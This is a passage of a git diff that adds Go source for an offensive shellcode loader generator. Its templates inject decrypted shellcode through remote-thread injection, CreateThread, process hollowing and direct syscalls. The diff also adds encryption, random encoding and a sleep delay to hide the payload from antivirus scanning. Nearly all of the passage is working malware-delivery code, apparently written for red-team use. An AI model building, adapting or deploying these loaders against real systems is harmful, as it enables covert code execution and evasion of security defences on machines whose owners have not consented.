+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ /* changing permissions for our memory segment */
+ _, _, _ = VirtualProtectEx.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+
+ /* load remote thread */
+ _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+}
+ `, targetProcess)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -0,0 +1,65 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCreateThreadTemplate(targetProcess string) string {
+ var _ = targetProcess // unused in this template
+
+ println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ CreateThread = kernel32.MustFindProc("CreateThread")
+
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ addr, _, _ := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+ )
+
+ _, _, _ = RtlCopyMemory.Call(
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ threadAddr, _, _ := CreateThread.Call(
+ 0,
+ 0,
+ addr,
+ 0,
+ 0,
+ 0,
+ )
+
+ WaitForSingleObject.Call(
+ threadAddr,
+ 0xFFFFFFFF,
+ )
+}
+ `)
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -0,0 +1,182 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+/*
+ For more information, feel free to read this:
+ https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
+
+ Adapted from
+ https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
+*/
+
+func GetProcessHollowingTemplate(targetProcess string) string {
+
+ println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
+ println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "encoding/binary"
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ CREATE_SUSPENDED = 0x00000004
+ CREATE_NO_WINDOW = 0x08000000
+
+ MEM_COMMIT = 0x00001000
+ MEM_RESERVE = 0x00002000
+ PAGE_EXECUTE_READWRITE = 0x00000040
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ readProcessMemory = kernel32.MustFindProc("ReadProcessMemory")
+ writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ resumeThread = kernel32.MustFindProc("ResumeThread")
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+ zwQueryInformationProcess = ntdll.MustFindProc("ZwQueryInformationProcess")
+)
+
+
+/* need to redefine this so that compile doesnt whine */
+type PROCESS_BASIC_INFORMATION struct {
+ Reserved1 uintptr
+ PebAddress uintptr
+ Reserved2 uintptr
+ Reserved3 uintptr
+ UniquePid uintptr
+ MoreReserved uintptr
+}
+
+
+func createProcess(processName string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi,
+ ); if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+ processName := "%s"
+ process := createProcess(processName)
+ pHandle := uintptr(process.Process)
+ tHandle := uintptr(process.Thread)
+
+ pointerSize := unsafe.Sizeof(uintptr(0))
+ basicInfo := &PROCESS_BASIC_INFORMATION{}
+ unusedTmpValue := 0
+
+ /* Get Process Environment Block */
+ r, _, err := zwQueryInformationProcess.Call(
+ pHandle,
+ 0,
+ uintptr(unsafe.Pointer(basicInfo)),
+ pointerSize * 6,
+ uintptr(unsafe.Pointer(&unusedTmpValue)),
+ ); if r != 0 {
+ panic(err)
+ }
+
+ /* Query PEB for ImageBaseAddress */
+ imageBaseAddress := basicInfo.PebAddress + 0x10
+
+ // Get entry point of the actual process executable
+ // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
+ // From the PEB (address we got in last call), we have to do the following:
+ // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+ // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
+ // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+ // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
+ // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
+
+
+ // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+ procAddr := make([]byte, 0x8)
+ read := 0
+
+ r, _, err = readProcessMemory.Call(
+ pHandle,
+ imageBaseAddress,
+ uintptr(unsafe.Pointer(&procAddr[0])),
+ uintptr(len(procAddr)),
+ uintptr(unsafe.Pointer(&read)),
+ ); if r == 0 {
+ panic(err)
+ }
+
+ // now we can read PE header
+ exeBaseAddr := binary.LittleEndian.Uint64(procAddr)
+ peBuffer := make([]byte, 0x200)
+ r, _, err = readProcessMemory.Call(
+ pHandle,
+ uintptr(exeBaseAddr),
+ uintptr(unsafe.Pointer(&peBuffer[0])),
+ uintptr(len(peBuffer)),
+ uintptr(unsafe.Pointer(&read)),
+ ); if r == 0 {
+ panic(err)
+ }
+
+ // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
+ lfaNewPos := peBuffer[0x3c : 0x3c + 0x4]
+ lfanew := binary.LittleEndian.Uint32(lfaNewPos)
+
+ // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+ rvaOffset := lfanew + 0x28
+
+ // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
+ rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4]
+ rva := binary.LittleEndian.Uint32(rvaOffsetPos)
+
+ // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
+ entrypointAddress := exeBaseAddr + uint64(rva)
+
+
+ /* overwrite process memory at entrypointAddress */
+ r, _, err = writeProcessMemory.Call(
+ pHandle,
+ uintptr(entrypointAddress),
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ ); if r == 0 {
+ panic(err)
+ }
+
+ /* trigger shellcode execution */
+ r, _, err = resumeThread.Call(tHandle); if r == 0 {
+ panic(err)
+ }
+}
+ `, targetProcess)
+}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -0,0 +1,43 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetSyscallTemplate(targetProcess string) string {
+ _ = targetProcess // unused in this technique
+
+ println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_READWRITE = 0x04
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ kernel32 := syscall.MustLoadDLL("kernel32.dll")
+ ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect := kernel32.MustFindProc("VirtualProtect")
+ RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+
+ addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+ _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+ oldProtect := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+ _, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+}
+ `)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -0,0 +1,21 @@
+package loaders
+
+func SelectTemplate(templateName string) func(string) string {
+
+ switch templateName {
+ case "CRT":
+ return GetCRTTemplate
+
+ case "CreateThread":
+ return GetCreateThreadTemplate
+
+ case "ProcessHollowing":
+ return GetProcessHollowingTemplate
+
+ case "Syscall":
+ return GetSyscallTemplate
+
+ }
+
+ return nil
+}
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -0,0 +1,246 @@
+package tools
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "errors"
+ "fmt"
+ "io"
+
+ "golang.org/x/crypto/blowfish"
+ "golang.org/x/crypto/chacha20poly1305"
+)
+
+func GetChacha20Template() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "golang.org/x/crypto/chacha20poly1305"
+
+ "errors"
+)
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonceSize := enc.NonceSize()
+ if len(toDecrypt) < nonceSize {
+ return nil, errors.New("Ciphertext too short")
+ }
+
+ nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+ return enc.Open(nil, nonce, ciphertext, nil)
+}
+ `)
+}
+
+func GetBlowfishTemplate() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "golang.org/x/crypto/blowfish"
+
+ "crypto/cipher"
+)
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+ dcipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ div := toDecrypt[:blowfish.BlockSize]
+ decrypted := toDecrypt[blowfish.BlockSize:]
+ dcbc := cipher.NewCBCDecrypter(dcipher, div)
+ dcbc.CryptBlocks(decrypted, decrypted)
+
+ return decrypted, nil
+}
+ `)
+}
+
+func GetAESTemplate() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "errors"
+)
+
+func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(encrypted) < nonceSize {
+ return nil, errors.New("ciphertext too short")
+ }
+
+ nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+ return gcm.Open(nil, nonce, ciphertext, nil)
+}
+ `)
+}
+
+func GetXORTemplate() string {
+ return fmt.Sprintf(`
+package main
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toDecrypt))
+ keyLen := len(key)
+
+ for i, b := range toDecrypt {
+ encrypted[i] = b ^ key[i %% keyLen]
+ }
+ return encrypted, nil
+}
+ `)
+}
+
+func DecryptChacha20(toDecrypt []byte, key []byte) ([]byte, error) {
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonceSize := enc.NonceSize()
+ if len(toDecrypt) < nonceSize {
+ return nil, errors.New("Ciphertext too short")
+ }
+
+ nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+ return enc.Open(nil, nonce, ciphertext, nil)
+}
+
+func EncryptChacha20(toCrypt []byte, key []byte) ([]byte, error) {
+
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonce := make([]byte, enc.NonceSize())
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ return enc.Seal(nonce, nonce, toCrypt, nil), nil
+}
+
+func EncryptBlowfish(toCrypt []byte, key []byte) ([]byte, error) {
+
+ /*
+ let's add the required padding :)~
+ source: https://stackoverflow.com/a/46747195
+ */
+
+ modulus := len(toCrypt) % blowfish.BlockSize
+ if modulus != 0 {
+ padlen := blowfish.BlockSize - modulus
+ for i := 0; i < padlen; i++ {
+ toCrypt = append(toCrypt, 0)
+ }
+ }
+
+ ecipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ ciphertext := make([]byte, blowfish.BlockSize+len(toCrypt))
+ eiv := ciphertext[:blowfish.BlockSize]
+ ecbc := cipher.NewCBCEncrypter(ecipher, eiv)
+ ecbc.CryptBlocks(ciphertext[blowfish.BlockSize:], toCrypt)
+
+ return ciphertext, nil
+}
+
+func DecryptBlowfish(toDecrypt []byte, key []byte) ([]byte, error) {
+ dcipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ div := toDecrypt[:blowfish.BlockSize]
+ decrypted := toDecrypt[blowfish.BlockSize:]
+ dcbc := cipher.NewCBCDecrypter(dcipher, div)
+ dcbc.CryptBlocks(decrypted, decrypted)
+
+ return decrypted, nil
+}
+
+func EncryptXOR(toEncrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toEncrypt))
+ keyLen := len(key)
+
+ for i, b := range toEncrypt {
+ encrypted[i] = b ^ key[i%keyLen]
+ }
+ return encrypted, nil
+}
+
+func DecryptXOR(toDecrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toDecrypt))
+ keyLen := len(key)
+
+ for i, b := range toDecrypt {
+ encrypted[i] = b ^ key[i%keyLen]
+ }
+ return encrypted, nil
+}
+
+func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) {
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
+ return nil, err
+ }
+
+ return gcm.Seal(nonce, nonce, toEncrypt, nil), nil
+}
+
+func DecryptAES(encrypted []byte, key []byte) ([]byte, error) {
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(encrypted) < nonceSize {
+ return nil, errors.New("ciphertext too short")
+ }
+
+ nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+ return gcm.Open(nil, nonce, ciphertext, nil)
+}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -0,0 +1,72 @@
+package tools
+
+import (
+ b32 "encoding/base32"
+ b64 "encoding/base64"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "math/rand"
+ "time"
+)
+
+// / Enum type that defines which bytes encoding to use
+// / in template source-code
+type BytesEncodingType string
+
+const (
+ EncodingBase64 BytesEncodingType = "base64"
+ EncodingBase32 BytesEncodingType = "base32"
+ EncodingHex BytesEncodingType = "hex"
+)
+
+// / Available encodings type
+var Encodings = [3]string{"base64", "base32", "hex"}
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *BytesEncodingType) String() string {
+ return string(*e)
+}
+
+// / Set must have pointer receiver so it doesn't change the value of a copy
+func (e *BytesEncodingType) Set(v string) error {
+ switch v {
+ case "base64", "base32", "hex":
+ *e = BytesEncodingType(v)
+ return nil
+ default:
+ return errors.New(`unknown encoding type`)
+ }
+}
+
+// / Type is only used in help text
+func (e *BytesEncodingType) Type() string {
+ return "BytesEncodingType"
+}
+
+// / Select a random encoding type
+func SelectRandomEncodingType() BytesEncodingType {
+ rand.Seed(time.Now().Unix())
+ n := rand.Int() % len(Encodings)
+
+ return BytesEncodingType(Encodings[n])
+}
+
+// / Encode a series of bytes so that it can be interpolated into a template
+func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
+
+ switch method {
+
+ case EncodingBase64:
+ return fmt.Sprintf("\"%s\"", b64.StdEncoding.EncodeToString(toEncode))
+
+ case EncodingBase32:
+ return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
+
+ case EncodingHex:
+ return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
+
+ default:
+ return ""
+ }
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -0,0 +1,169 @@
+package tools
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "math/rand"
+ "os"
+)
+
+func MoveFile(sourcePath, destPath string) error {
+ inputFile, err := os.Open(sourcePath)
+ if err != nil {
+ return fmt.Errorf("Couldn't open source file: %s", err)
+ }
+ outputFile, err := os.Create(destPath)
+ if err != nil {
+ inputFile.Close()
+ return fmt.Errorf("Couldn't open dest file: %s", err)
+ }
+ defer outputFile.Close()
+ _, err = io.Copy(outputFile, inputFile)
+ inputFile.Close()
+ if err != nil {
+ return fmt.Errorf("Writing to output file failed: %s", err)
+ }
+ // The copy was successful, so now delete the original file
+ err = os.Remove(sourcePath)
+ if err != nil {
+ return fmt.Errorf("Failed removing original file: %s", err)
+ }
+ return nil
+}
+
+func WriteToFile(outfile string, filname string, toWrite string) error {
+
+ full_path := fmt.Sprintf("%s/%s", outfile, filname)
+ file, err := os.OpenFile(full_path, os.O_TRUNC|os.O_WRONLY, 0644)
+ if err != nil {
+ return err
+ }
+
+ file.WriteString(toWrite)
+ file.Close()
+ return nil
+}
+
+func RandomString(n int) string {
+ var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
+ s := make([]rune, n)
+ for i := range s {
+ s[i] = letters[rand.Intn(len(letters))]
+ }
+ return string(s)
+}
+
+func ReadFile(filepath string) ([]byte, error) {
+ buf := bytes.NewBuffer(nil)
+ f, err := os.Open(filepath)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ io.Copy(buf, f)
+ f.Close()
+
+ return buf.Bytes(), nil
+}
+
+func DirExists(dir string) (bool, error) {
+ _, err := os.Stat(dir)
+ if err == nil {
+ return true, nil
+ }
+
+ if os.IsNotExist(err) {
+ return false, nil
+ }
+ return false, err
+}
+
+func CreateTmpProjectRoot(path string) error {
+
+ fmt.Printf("[+] Initializing temporary build directory\n")
+
+ /*
+ create a directory with the path name
+ defined by the options
+ */
+
+ exists, err := DirExists(path)
+ if err != nil {
+ return err
+ }
+
+ if exists {
+ fmt.Printf("[!] %s already exists...Removing\n", path)
+ os.RemoveAll(path)
+ }
+
+ err = os.MkdirAll(path, 0777)
+ if err != nil {
+ return err
+ }
+
+ var go_mod = []byte(`
+module github.com/cmepw/myph
+
+go 1.20
+
+ `)
+
+ gomod_path := fmt.Sprintf("%s/go.mod", path)
+ fo, err := os.Create(gomod_path)
+ fo.Write(go_mod)
+
+ maingo_path := fmt.Sprintf("%s/main.go", path)
+ _, _ = os.Create(maingo_path)
+
+ execgo_path := fmt.Sprintf("%s/exec.go", path)
+ _, _ = os.Create(execgo_path)
+
+ encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
+ _, _ = os.Create(encryptgo_path)
+
+ println("\n")
+ return nil
+}
+
+func GetMainTemplate(
+ encoding string,
+ key string,
+ sc string,
+ sleepTime uint,
+) string {
+
+ /* if hex encoding is used, it does not require to go through StdEncoding */
+ encCall := "enc.StdEncoding"
+ if encoding == "hex" {
+ encCall = "enc"
+ }
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "time"
+ "os"
+ enc "encoding/%s"
+)
+
+var Key = %s
+var Code = %s
+
+func main() {
+
+ decodedSc, _ := %s.DecodeString(Code)
+ decodedKey, _ := %s.DecodeString(Key)
+
+ decrypted, err := Decrypt(decodedSc, decodedKey)
+ if err != nil {
+ os.Exit(1)
+ }
+
+ time.Sleep(%d * time.Second)
+ ExecuteOrderSixtySix(decrypted)
+}
+ `, encoding, key, sc, encCall, encCall, sleepTime)
+}
| | | | | | | | | | | | | | | | | | | | | | | |